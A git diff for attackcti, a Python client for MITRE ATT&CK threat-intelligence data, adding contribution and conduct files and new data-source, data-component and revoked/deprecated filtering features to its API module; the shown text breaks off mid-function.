diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md new file mode 100644 index 0000000..7915647 --- /dev/null +++ b/CODE_OF_CONDUCT.md @@ -0,0 +1,66 @@ +# Contributor Covenant Code of Conduct + +## Our Pledge + +In the interest of fostering an open and welcoming environment, we as +contributors and maintainers pledge to making participation in our project and +our community a harassment-free experience for everyone, regardless of age, body +size, disability, ethnicity, sex characteristics, gender identity and expression, +level of experience, education, socio-economic status, nationality, personal +appearance, race, religion, or sexual identity and orientation. + +## Our Standards + +Examples of behavior that contributes to creating a positive environment +include: + +* Using welcoming and inclusive language +* Being respectful of differing viewpoints and experiences +* Gracefully accepting constructive criticism +* Focusing on what is best for the community +* Showing empathy towards other community members + +Examples of unacceptable behavior by participants include: + +* The use of sexualized language or imagery and unwelcome sexual attention or + advances +* Trolling, insulting/derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or electronic + address, without explicit permission +* Other conduct which could reasonably be considered inappropriate in a + professional setting + +## Our Responsibilities + +Project maintainers are responsible for clarifying the standards of acceptable +behavior and are expected to take appropriate and fair corrective action in +response to any instances of unacceptable behavior. + +Project maintainers have the right and responsibility to remove, edit, or +reject comments, commits, code, wiki edits, issues, and other contributions +that are not aligned to this Code of Conduct, or to ban temporarily or +permanently any contributor for other behaviors that they deem inappropriate, +threatening, offensive, or harmful. + +## Scope + +This Code of Conduct applies both within project spaces and in public spaces +when an individual is representing the project or its community. Examples of +representing a project or community include using an official project e-mail +address, posting via an official social media account, or acting as an appointed +representative at an online or offline event. Representation of a project may be +further defined and clarified by project maintainers. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be +reported by contacting the project team at . All +complaints will be reviewed and investigated and will result in a response that +is deemed necessary and appropriate to the circumstances. The project team is +obligated to maintain confidentiality with regard to the reporter of an incident. +Further details of specific enforcement policies may be posted separately. + +Project maintainers who do not follow or enforce the Code of Conduct in good +faith may face temporary or permanent repercussions as determined by other +members of the project's leadership. diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..7ce9aa7 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,87 @@ +# Contributing Guidelines + +When contributing to this repository, please share your proposal via a GitHub issue and our [discord](https://discord.com/invite/efBGmbQ) server. + +This documentation contains a set of guidelines to help you during the contribution process. +We are happy to welcome all the contributions from anyone willing to improve/add new scripts to this project. Thank you for helping out and remember, **no contribution is too small.** + +#### Table Of Contents + +* [Code of Conduct](#code-of-conduct) +* [Submitting Contributions](#submit-contributions) + * [Find An Issue](#step-0--find-an-issue) + * [Fork The Project](#step-1--fork-the-project) + * [Branch](#step-2--branch) + * [Work on the issue assigned](#step-3--work-on-the-issue-assigned) + * [Commit](#step-4--commit) + * [Work Remotely](#step-5--work-remotely) + * [Pull Request](#step-6--pull-request) + +## Code of Conduct +This project and everyone participating in it is governed by the Contributor Covenant. Make sure to read it here: [CODE_OF_CONDUCT.md](CODE_OF_CONDUCT.md) + +## Submit Contributions +Below you will find the process and workflow used to review and merge your changes. + +### Step 0 : Find an issue +- Take a look at the Existing Issues or create your **own** Issues! +- Wait for the Issue to be assigned to you after which you can start working on it. +- Note : Every change in this project should/must have an associated issue. + +### Step 1 : Fork the Project +- Fork this Repository. This will create a Local Copy of this Repository on your Github Profile. Keep a reference to the original project in `upstream` remote. +``` +$ git clone https://github.com//ATTACK-Python-Client.git +# Navigate to the project directory. +$ cd Hacking-Scripts +$ git remote add upstream https://github.com/OTRF/ATTACK-Python-Client.git +``` + +- If you have already forked the project, update your copy before working. +``` +$ git remote update +$ git checkout +$ git rebase upstream/ +``` + +### Step 2 : Branch +Create a new branch. Use its name to identify the issue your addressing. +``` +# It will create a new branch with name Branch_Name and switch to that branch +$ git checkout -b Branch_Name +``` + +### Step 3 : Work on the issue assigned +- Work on the issue(s) assigned to you. +- Add all the files/folders needed. +- After you've made changes or made your contribution to the project add changes to the branch you've just created by: +``` +# To add all new files to branch Branch_Name +$ git add . +``` +``` +# To add only a few files to Branch_Name +$ git add +``` + +### Step 4 : Commit +- To commit give a descriptive message for the convenience of reviewer by: +``` +# This message get associated with all files you have changed +$ git commit -m "message" +``` +- **NOTE**: A PR should have only one commit. Multiple commits not allowed. + +### Step 5 : Work Remotely +- Now you are ready to your work to the remote repository. +- When your work is ready and complies with the project conventions, upload your changes to your fork: + +``` +# To push your work to your remote repository +$ git push -u origin Branch_Name +``` +- Here is how your branch will look. + +### Step 6 : Pull Request +- Go to your repository in browser and click on compare and pull requests. Then add a title and description to your pull request that explains your contribution. +- Good Work! Your Pull Request has been submitted and will be reviewed by the moderators and merged. diff --git a/Dockerfile b/Dockerfile index 6aa2266..60e4501 100644 --- a/Dockerfile +++ b/Dockerfile @@ -4,7 +4,7 @@ FROM cyb3rward0g/jupyter-base:0.0.3 LABEL maintainer="Roberto Rodriguez @Cyb3rWard0g" -LABEL description="Dockerfile ThreatHunter Playbook Project." +LABEL description="Dockerfile attackcti Project." ARG NB_USER ARG NB_UID @@ -18,7 +18,7 @@ RUN adduser --disabled-password \ --gecos "Default user" \ --uid ${NB_UID} \ ${NB_USER} \ - && python3 -m pip install --upgrade six==1.15.0 attackcti==0.3.4.3 pandas==1.1.4 altair vega + && python3 -m pip install --upgrade six==1.15.0 attackcti==0.3.5 pandas==1.1.4 altair vega COPY docs/playground ${HOME}/notebooks diff --git a/README.md b/README.md index b16f9fe..413facf 100644 --- a/README.md +++ b/README.md @@ -3,20 +3,21 @@ [![Binder](https://mybinder.org/badge_logo.svg)](https://mybinder.org/v2/gh/OTRF/ATTACK-Python-Client/master) [![Open_Threat_Research Community](https://img.shields.io/badge/Open_Threat_Research-Community-brightgreen.svg)](https://twitter.com/OTR_Community) [![Open Source Love svg1](https://badges.frapsoft.com/os/v3/open-source.svg?v=103)](https://github.com/ellerbrock/open-source-badges/) +[![Downloads](https://pepy.tech/badge/attackcti)](https://pepy.tech/project/attackcti) -A Python module to access up to date ATT&CK content available in STIX via public TAXII server. This project leverages the python classes and functions of the [cti-python-stix2](https://github.com/oasis-open/cti-python-stix2) and [cti-taxii-client](https://github.com/oasis-open/cti-taxii-client) libraries developed by MITRE. +A Python module to access up-to-date ATT&CK content available in [STIX](https://oasis-open.github.io/cti-documentation/stix/intro) via a public [TAXII](https://oasis-open.github.io/cti-documentation/taxii/intro) server. This project leverages python classes and functions from the [cti-python-stix2](https://github.com/oasis-open/cti-python-stix2) and [cti-taxii-client](https://github.com/oasis-open/cti-taxii-client) libraries developed by MITRE. ## Goals -* Provide an easy way to access and interact with up to date ATT&CK content available in STIX via public TAXII server -* Allow security analysts to quickly explore ATT&CK content and apply it in their daily operations -* Allow the integration of ATT&Ck content with other platforms to host up to date information from the framework -* Help security analysts during the transition from the ATT&CK MediaWiki API to the STIX/TAXII 2.0 API +* Provide an easy way to access and interact with up-to-date ATT&CK content available in STIX via public TAXII server. +* Allow security analysts to quickly explore ATT&CK content and apply it in their daily operations. +* Allow the integration of ATT&CK content with other platforms to host up to date information from the framework. +* Help security analysts during the transition from the old ATT&CK MediaWiki API to the STIX/TAXII 2.0 API. * Learn STIX2 and TAXII Client Python libraries ## Documentation -## [https://attackcti.com](https://attackcti.com) +### [https://attackcti.com](https://attackcti.com) ## Current Status: Production/Stable @@ -34,11 +35,14 @@ The project is currently in a Production/Stable stage, which means that the curr ### Requirements -Python 3+ +- Python >= 3.0 +- stix2 >= 2.1.0 +- taxii2-client >= 2.3.0 +- six >= 1.16.0 ### Installation -You can install it via PIP: +You can install it via pip: ``` pip install attackcti @@ -52,6 +56,17 @@ cd ATTACK-Python-Client pip install . ``` +## Contribution + +* Now that the project is more stable, It would be great to get your feedback and hopefully get more contributions to the project. Let us know if you have any features in mind. We would love to collaborate to make them happen in the project. +* Check our basic contribution guidelines and submit an issue with your ideas. +* Be concise but clear when adding a title and description to your feature proposal. +* One pull request per issue. +* Select one or more labels when you submit an issue. +* Make sure you are in the correct branch [Master]. +* Try to avoid sizeable changes unless warranted. +* Be patient and polite as the project is still relatively small, which is why we would appreciate your help where possible. + ## Author * Roberto Rodriguez [@Cyb3rWard0g](https://twitter.com/Cyb3rWard0g) diff --git a/attackcti/attack_api.py b/attackcti/attack_api.py index 70dc34e..c640ad4 100644 --- a/attackcti/attack_api.py +++ b/attackcti/attack_api.py @@ -10,12 +10,17 @@ # https://stackoverflow.com/a/4406521 from stix2 import TAXIICollectionSource, Filter, CompositeDataSource, FileSystemSource +from stix2.datastore.filters import apply_common_filters from stix2.utils import get_type_from_id +#from stix2.v20.sdo import * from taxii2client.v20 import Collection import json import os import warnings +# os.environ['http_proxy'] = "http://xxxxxxx" +# os.environ['https_proxy'] = "https://xxxxxxx" + ATTACK_STIX_COLLECTIONS = "https://cti-taxii.mitre.org/stix/collections/" ENTERPRISE_ATTACK = "95ecc380-afe9-11e4-9b6c-751b66dd541e" PRE_ATTACK = "062767bd-02d2-4b72-84ba-56caef0f8658" @@ -27,7 +32,6 @@ MOBILE_ATTACK_LOCAL_DIR = "mobile-attack" ICS_ATTACK_LOCAL_DIR = "ics-attack" - class attack_client(object): """A Python Module for ATT&CK""" TC_ENTERPRISE_SOURCE = None @@ -86,6 +90,7 @@ def translate_stix_objects(self, stix_objects): "x_mitre_difficulty_for_adversary_explanation": "difficulty_explanation", "x_mitre_tactic_type": "tactic_type", "x_mitre_impact_type": "impact_type", + "x_mitre_is_subtechnique": "is_subtechnique", "external_references": "external_references" } mitigation_stix_mapping = { @@ -126,6 +131,17 @@ def translate_stix_objects(self, stix_objects): "x_mitre_contributors": "contributors", "x_mitre_old_attack_id": "old_software_id" } + data_component_stix_mapping = { + "type": "type", + "id": "id", + "created_by_ref": "created_by_ref", + "created": "created", + "modified": "modified", + "name": "data_component", + "description": "data_component_description", + "labels": "data_component_labels", + "x_mitre_data_source_ref": "data_source", + } relationship_stix_mapping = { "type": "type", "id": "id", @@ -179,6 +195,19 @@ def translate_stix_objects(self, stix_objects): "name": "identity", "identity_class": "identity_class" } + data_source_stix_mapping = { + "type": "type", + "id": "id", + "created": "created", + "modified": "modified", + "name": "data_source", + "description": "description", + "created_by_ref": "created_by_ref", + "external_references": "external_references", + "x_mitre_platforms": "software_platform", + "x_mitre_collection_layers": "collection_layers", + "x_mitre_contributors": "contributors" + } # ******** Helper Functions ******** def handle_list(list_object, object_type): @@ -223,6 +252,8 @@ def handle_list(list_object, object_type): stix_mapping = group_stix_mapping elif obj['type'] == "malware" or obj['type'] == "tool": stix_mapping = software_stix_mapping + elif obj['type'] == "x-mitre-data-component": + stix_mapping = data_component_stix_mapping elif obj['type'] == "relationship": stix_mapping = relationship_stix_mapping elif obj['type'] == "x-mitre-tactic": @@ -233,6 +264,8 @@ def handle_list(list_object, object_type): stix_mapping = identity_stix_mapping elif obj['type'] == "marking-definition": stix_mapping = marking_stix_mapping + elif obj['type'] == "x-mitre-data-source": + stix_mapping = data_source_stix_mapping else: return stix_objects_list @@ -245,87 +278,117 @@ def handle_list(list_object, object_type): stix_objects_list.append(obj_dict) return stix_objects_list - def remove_revoked(self, stix_objects): - non_revoked = list() - for obj in stix_objects: - if 'revoked' in obj.keys() and obj['revoked'] == True: - continue - else: - non_revoked.append(obj) - return non_revoked + # https://github.com/mitre/cti/issues/127 + # https://github.com/mitre/cti/blob/master/USAGE.md#removing-revoked-and-deprecated-objects + def remove_revoked_deprecated(self, stix_objects): + """Remove any revoked or deprecated objects from queries made to the data source""" + return list( + filter( + lambda x: x.get("x_mitre_deprecated", False) is False and x.get("revoked", False) is False, + stix_objects + ) + ) + # https://stix2.readthedocs.io/en/latest/api/datastore/stix2.datastore.filters.html def extract_revoked(self, stix_objects): - revoked = list() - for obj in stix_objects: - if 'revoked' in obj.keys() and obj['revoked'] == True: - revoked.append(obj) - return revoked + """Extract revoked objects from STIX objects""" + return list( + apply_common_filters( + stix_objects, + [Filter('revoked','=',True)] + )) - def remove_deprecated(self, stix_objects): - non_deprecated = list() - for obj in stix_objects: - if 'x_mitre_deprecated' in obj.keys() and obj['x_mitre_deprecated'] == True: - continue - else: - non_deprecated.append(obj) - return non_deprecated - + # https://stix2.readthedocs.io/en/latest/api/datastore/stix2.datastore.filters.html def extract_deprecated(self, stix_objects): - deprecated = list() - for obj in stix_objects: - if 'x_mitre_deprecated' in obj.keys() and obj['x_mitre_deprecated'] == True: - deprecated.append(obj) - return deprecated + """Extract deprecated objects from STIX objects""" + return list( + apply_common_filters( + stix_objects, + [Filter('x_mitre_deprecated','=',True)] + )) # ******** Enterprise ATT&CK Technology Domain ******* def get_enterprise(self, stix_format=True): """ Extracts all the available STIX objects in the Enterprise ATT&CK matrix Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects """ enterprise_filter_objects = { - "techniques": Filter("type", "=", "attack-pattern"), - "mitigations": Filter("type", "=", "course-of-action"), - "groups": Filter("type", "=", "intrusion-set"), - "malware": Filter("type", "=", "malware"), - "tools": Filter("type", "=", "tool"), - "relationships": Filter("type", "=", "relationship"), - "tactics": Filter("type", "=", "x-mitre-tactic"), + "techniques": self.get_enterprise_techniques, + "data-component": self.get_enterprise_data_components, + "mitigations": self.get_enterprise_mitigations, + "groups": self.get_enterprise_groups, + "malware": self.get_enterprise_malware, + "tools": self.get_enterprise_tools, + "data-source": self.get_enterprise_data_sources, + "relationships": self.get_enterprise_relationships, + "tactics": self.get_enterprise_tactics, "matrix": Filter("type", "=", "x-mitre-matrix"), "identity": Filter("type", "=", "identity"), "marking-definition": Filter("type", "=", "marking-definition") } - enterprise_stix_objects = {} + enterprise_stix_objects = dict() for key in enterprise_filter_objects: - enterprise_stix_objects[key] = (self.TC_ENTERPRISE_SOURCE.query(enterprise_filter_objects[key])) + enterprise_stix_objects[key] = self.TC_ENTERPRISE_SOURCE.query(enterprise_filter_objects[key]) if isinstance(enterprise_filter_objects[key], Filter) else enterprise_filter_objects[key]() if not stix_format: enterprise_stix_objects[key] = self.translate_stix_objects(enterprise_stix_objects[key]) return enterprise_stix_objects - def get_enterprise_techniques(self, stix_format=True): + def get_enterprise_techniques(self, skip_revoked_deprecated=True, include_subtechniques=True, enrich_data_sources = False, stix_format=True): """ Extracts all the available techniques STIX objects in the Enterprise ATT&CK matrix Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + skip_revoked_deprecated (bool): default True. Skip revoked and deprecated STIX objects. + include_subtechniques (bool): default True. Include techniques and sub-techniques STIX objects. + enrich_data_sources (bool): default False. Adds data component and data source context to each technqiue. + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects """ - enterprise_techniques = self.TC_ENTERPRISE_SOURCE.query(Filter("type", "=", "attack-pattern")) + + if include_subtechniques: + enterprise_techniques = self.TC_ENTERPRISE_SOURCE.query(Filter("type", "=", "attack-pattern")) + else: + enterprise_techniques = self.TC_ENTERPRISE_SOURCE.query([ + Filter("type", "=", "attack-pattern"), + Filter('x_mitre_is_subtechnique', '=', False) + ]) + + if skip_revoked_deprecated: + enterprise_techniques = self.remove_revoked_deprecated(enterprise_techniques) + + if enrich_data_sources: + enterprise_techniques = self.enrich_techniques_data_sources(enterprise_techniques) + if not stix_format: enterprise_techniques = self.translate_stix_objects(enterprise_techniques) return enterprise_techniques - + + def get_enterprise_data_components(self, stix_format=True): + """ Extracts all the available data components STIX objects in the Enterprise ATT&CK matrix + + Args: + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') + + Returns: + List of STIX objects + """ + enterprise_data_components = self.TC_ENTERPRISE_SOURCE.query(Filter("type", "=", "x-mitre-data-component")) + if not stix_format: + enterprise_data_components = self.translate_stix_objects(enterprise_data_components) + return enterprise_data_components + def get_enterprise_mitigations(self, stix_format=True): """ Extracts all the available mitigations STIX objects in the Enterprise ATT&CK matrix Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects @@ -336,17 +399,22 @@ def get_enterprise_mitigations(self, stix_format=True): enterprise_mitigations = self.translate_stix_objects(enterprise_mitigations) return enterprise_mitigations - def get_enterprise_groups(self, stix_format=True): + def get_enterprise_groups(self, skip_revoked_deprecated=True, stix_format=True): """ Extracts all the available groups STIX objects in the Enterprise ATT&CK matrix Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + skip_revoked_deprecated (bool): default True. Skip revoked and deprecated STIX objects. + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects """ enterprise_groups = self.TC_ENTERPRISE_SOURCE.query(Filter("type", "=", "intrusion-set")) + + if skip_revoked_deprecated: + enterprise_groups = self.remove_revoked_deprecated(enterprise_groups) + if not stix_format: enterprise_groups = self.translate_stix_objects(enterprise_groups) return enterprise_groups @@ -355,7 +423,7 @@ def get_enterprise_malware(self, stix_format=True): """ Extracts all the available malware STIX objects in the Enterprise ATT&CK matrix Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects @@ -370,7 +438,7 @@ def get_enterprise_tools(self, stix_format=True): """ Extracts all the available tools STIX objects in the Enterprise ATT&CK matrix Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects @@ -385,7 +453,7 @@ def get_enterprise_relationships(self, stix_format=True): """ Extracts all the available relationships STIX objects in the Enterprise ATT&CK matrix Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects @@ -400,7 +468,7 @@ def get_enterprise_tactics(self, stix_format=True): """ Extracts all the available tactics STIX objects in the Enterprise ATT&CK matrix Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects @@ -410,13 +478,30 @@ def get_enterprise_tactics(self, stix_format=True): if not stix_format: enterprise_tactics = self.translate_stix_objects(enterprise_tactics) return enterprise_tactics + + def get_enterprise_data_sources(self, include_data_components=False, stix_format=True): + """ Extracts all the available data source STIX objects availalbe in the Enterprise ATT&CK matrix. This function filters all STIX objects by the type x-mitre-data-source. + + Args: + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') + + Returns: + List of STIX objects + """ + enterprise_data_sources = self.TC_ENTERPRISE_SOURCE.query(Filter("type", "=", "x-mitre-data-source")) + if include_data_components: + for ds in enterprise_data_sources: + ds['data_components']= self.get_data_components_by_data_source(ds) + if not stix_format: + enterprise_data_sources = self.translate_stix_objects(enterprise_data_sources) + return enterprise_data_sources # ******** Pre ATT&CK Domain [DEPRECATED] 11/23/2020 ******* def get_pre(self, stix_format=True): """ Extracts all the available STIX objects in the Pre ATT&CK matrix [ DEPRECATED AS OF 11/23/2020 ] Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects @@ -426,44 +511,56 @@ def get_pre(self, stix_format=True): warnings.warn("PRE ATT&CK is deprecated. It will be removed in future versions. Consider adjusting your application") pre_filter_objects = { - "techniques": Filter("type", "=", "attack-pattern"), - "groups": Filter("type", "=", "intrusion-set"), - "relationships": Filter("type", "=", "relationship"), - "tactics": Filter("type", "=", "x-mitre-tactic"), + "techniques": self.get_pre_techniques, + "groups": self.get_pre_groups, + "relationships": self.get_pre_relationships, + "tactics": self.get_pre_tactics, "matrix": Filter("type", "=", "x-mitre-matrix"), "identity": Filter("type", "=", "identity"), "marking-definition": Filter("type", "=", "marking-definition") } pre_stix_objects = {} for key in pre_filter_objects: - pre_stix_objects[key] = self.TC_PRE_SOURCE.query(pre_filter_objects[key]) + pre_stix_objects[key] = self.TC_PRE_SOURCE.query(pre_filter_objects[key]) if isinstance(pre_filter_objects[key], Filter) else pre_filter_objects[key]() if not stix_format: pre_stix_objects[key] = self.translate_stix_objects(pre_stix_objects[key]) return pre_stix_objects - - def get_pre_techniques(self, stix_format=True): + + def get_pre_techniques(self, skip_revoked_deprecated=True, include_subtechniques=True, stix_format=True): """ Extracts all the available techniques STIX objects in the Pre ATT&CK matrix [ DEPRECATED AS OF 11/23/2020 ] Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + skip_revoked_deprecated (bool): default True. Skip revoked and deprecated STIX objects. + include_subtechniques (bool): default True. Include techniques and sub-techniques STIX objects. + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects - """ - + warnings.warn("PRE ATT&CK is deprecated. It will be removed in future versions. Consider adjusting your application") - pre_techniques = self.TC_PRE_SOURCE.query(Filter("type", "=", "attack-pattern")) + if include_subtechniques: + pre_techniques = self.TC_PRE_SOURCE.query(Filter("type", "=", "attack-pattern")) + else: + pre_techniques = self.TC_ENTERPRISE_SOURCE.query([ + Filter("type", "=", "attack-pattern"), + Filter('x_mitre_is_subtechnique', '=', False) + ]) + + if skip_revoked_deprecated: + pre_techniques = self.remove_revoked_deprecated(pre_techniques) + if not stix_format: pre_techniques = self.translate_stix_objects(pre_techniques) return pre_techniques - def get_pre_groups(self, stix_format=True): + def get_pre_groups(self, skip_revoked_deprecated=True, stix_format=True): """ Extracts all the available groups STIX objects in the Pre ATT&CK matrix [ DEPRECATED AS OF 11/23/2020 ] Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + skip_revoked_deprecated (bool): default True. Skip revoked and deprecated STIX objects. + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects @@ -473,6 +570,10 @@ def get_pre_groups(self, stix_format=True): warnings.warn("PRE ATT&CK is deprecated. It will be removed in future versions. Consider adjusting your application") pre_groups = self.TC_PRE_SOURCE.query(Filter("type", "=", "intrusion-set")) + + if skip_revoked_deprecated: + pre_groups = self.remove_revoked_deprecated(pre_groups) + if not stix_format: pre_groups = self.translate_stix_objects(pre_groups) return pre_groups @@ -481,7 +582,7 @@ def get_pre_relationships(self, stix_format=True): """ Extracts all the available relationships STIX objects in the Pre ATT&CK matrix [ DEPRECATED AS OF 11/23/2020 ] Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects @@ -499,7 +600,7 @@ def get_pre_tactics(self, stix_format=True): """ Extracts all the available tactics STIX objects in the Pre ATT&CK matrix [ DEPRECATED AS OF 11/23/2020 ] Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects @@ -518,7 +619,7 @@ def get_mobile(self, stix_format=True): """ Extracts all the available STIX objects in the Mobile ATT&CK matrix Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects @@ -526,35 +627,47 @@ def get_mobile(self, stix_format=True): """ mobile_filter_objects = { - "techniques": Filter("type", "=", "attack-pattern"), - "mitigations": Filter("type", "=", "course-of-action"), - "groups": Filter("type", "=", "intrusion-set"), - "malware": Filter("type", "=", "malware"), - "tools": Filter("type", "=", "tool"), - "relationships": Filter("type", "=", "relationship"), - "tactics": Filter("type", "=", "x-mitre-tactic"), + "techniques": self.get_mobile_techniques, + "mitigations": self.get_mobile_mitigations, + "groups": self.get_mobile_groups, + "malware": self.get_mobile_malware, + "tools": self.get_mobile_tools, + "relationships": self.get_mobile_relationships, + "tactics": self.get_mobile_tactics, "matrix": Filter("type", "=", "x-mitre-matrix"), "identity": Filter("type", "=", "identity"), "marking-definition": Filter("type", "=", "marking-definition") } mobile_stix_objects = {} for key in mobile_filter_objects: - mobile_stix_objects[key] = self.TC_MOBILE_SOURCE.query(mobile_filter_objects[key]) + mobile_stix_objects[key] = self.TC_MOBILE_SOURCE.query(mobile_filter_objects[key]) if isinstance(mobile_filter_objects[key], Filter) else mobile_filter_objects[key]() if not stix_format: mobile_stix_objects[key] = self.translate_stix_objects(mobile_stix_objects[key]) return mobile_stix_objects - def get_mobile_techniques(self, stix_format=True): - """ Extracts all the available techniques STIX objects in the Mobile ATT&CK matrix + def get_mobile_techniques(self, skip_revoked_deprecated=True, include_subtechniques=True, stix_format=True): + """ Extracts all the available techniques STIX objects in the Mobile ATT&CK matrix Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + skip_revoked_deprecated (bool): default True. Skip revoked and deprecated STIX objects. + include_subtechniques (bool): default True. Include techniques and sub-techniques STIX objects. + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects - """ - mobile_techniques = self.TC_MOBILE_SOURCE.query(Filter("type", "=", "attack-pattern")) + + if include_subtechniques: + mobile_techniques = self.TC_MOBILE_SOURCE.query(Filter("type", "=", "attack-pattern")) + else: + mobile_techniques = self.TC_MOBILE_SOURCE.query([ + Filter("type", "=", "attack-pattern"), + Filter('x_mitre_is_subtechnique', '=', False) + ]) + + if skip_revoked_deprecated: + mobile_techniques = self.remove_revoked_deprecated(mobile_techniques) + if not stix_format: mobile_techniques = self.translate_stix_objects(mobile_techniques) return mobile_techniques @@ -563,7 +676,7 @@ def get_mobile_mitigations(self, stix_format=True): """ Extracts all the available mitigations STIX objects in the Mobile ATT&CK matrix Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects @@ -574,17 +687,22 @@ def get_mobile_mitigations(self, stix_format=True): mobile_mitigations = self.translate_stix_objects(mobile_mitigations) return mobile_mitigations - def get_mobile_groups(self, stix_format=True): + def get_mobile_groups(self, skip_revoked_deprecated=True, stix_format=True): """ Extracts all the available groups STIX objects in the Mobile ATT&CK matrix Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + skip_revoked_deprecated (bool): default True. Skip revoked and deprecated STIX objects. + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects """ mobile_groups = self.TC_MOBILE_SOURCE.query(Filter("type", "=", "intrusion-set")) + + if skip_revoked_deprecated: + mobile_groups = self.remove_revoked_deprecated(mobile_groups) + if not stix_format: mobile_groups = self.translate_stix_objects(mobile_groups) return mobile_groups @@ -593,7 +711,7 @@ def get_mobile_malware(self, stix_format=True): """ Extracts all the available malware STIX objects in the Mobile ATT&CK matrix Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects @@ -608,7 +726,7 @@ def get_mobile_tools(self, stix_format=True): """Extracts all the available tools STIX objects in the Mobile ATT&CK matrix Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects @@ -623,7 +741,7 @@ def get_mobile_relationships(self, stix_format=True): """ Extracts all the available relationships STIX objects in the Mobile ATT&CK matrix Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects @@ -638,7 +756,7 @@ def get_mobile_tactics(self, stix_format=True): """ Extracts all the available tactics STIX objects in the Mobile ATT&CK matrix Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects @@ -654,39 +772,52 @@ def get_ics(self, stix_format=True): """ Extracts all the available STIX objects in the ICS ATT&CK matrix Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects """ ics_filter_objects = { - "techniques": Filter("type", "=", "attack-pattern"), - "mitigations": Filter("type", "=", "course-of-action"), - "groups": Filter("type", "=", "intrusion-set"), - "malware": Filter("type", "=", "malware"), - "relationships": Filter("type", "=", "relationship"), - "tactics": Filter("type", "=", "x-mitre-tactic"), + "techniques": self.get_ics_techniques, + "mitigations": self.get_ics_mitigations, + "groups": self.get_ics_groups, + "malware": self.get_ics_malware, + "relationships": self.get_ics_relationships, + "tactics": self.get_ics_tactics, "matrix": Filter("type", "=", "x-mitre-matrix") } ics_stix_objects = {} for key in ics_filter_objects: - 